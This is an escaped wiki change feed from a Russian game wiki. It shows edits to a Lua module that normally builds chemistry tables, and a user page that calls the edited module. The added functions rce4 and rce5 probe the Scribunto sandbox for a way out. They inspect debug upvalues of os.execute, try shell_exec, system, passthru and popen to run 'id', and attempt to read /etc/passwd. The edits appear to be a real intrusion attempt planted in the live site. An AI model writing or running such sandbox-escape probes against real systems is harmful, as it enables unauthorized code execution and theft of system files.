        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28716</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28716"/>
		<updated>2026-06-21T23:03:09Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce2}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce3}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|rce4}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28715</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28715"/>
		<updated>2026-06-21T23:02:54Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
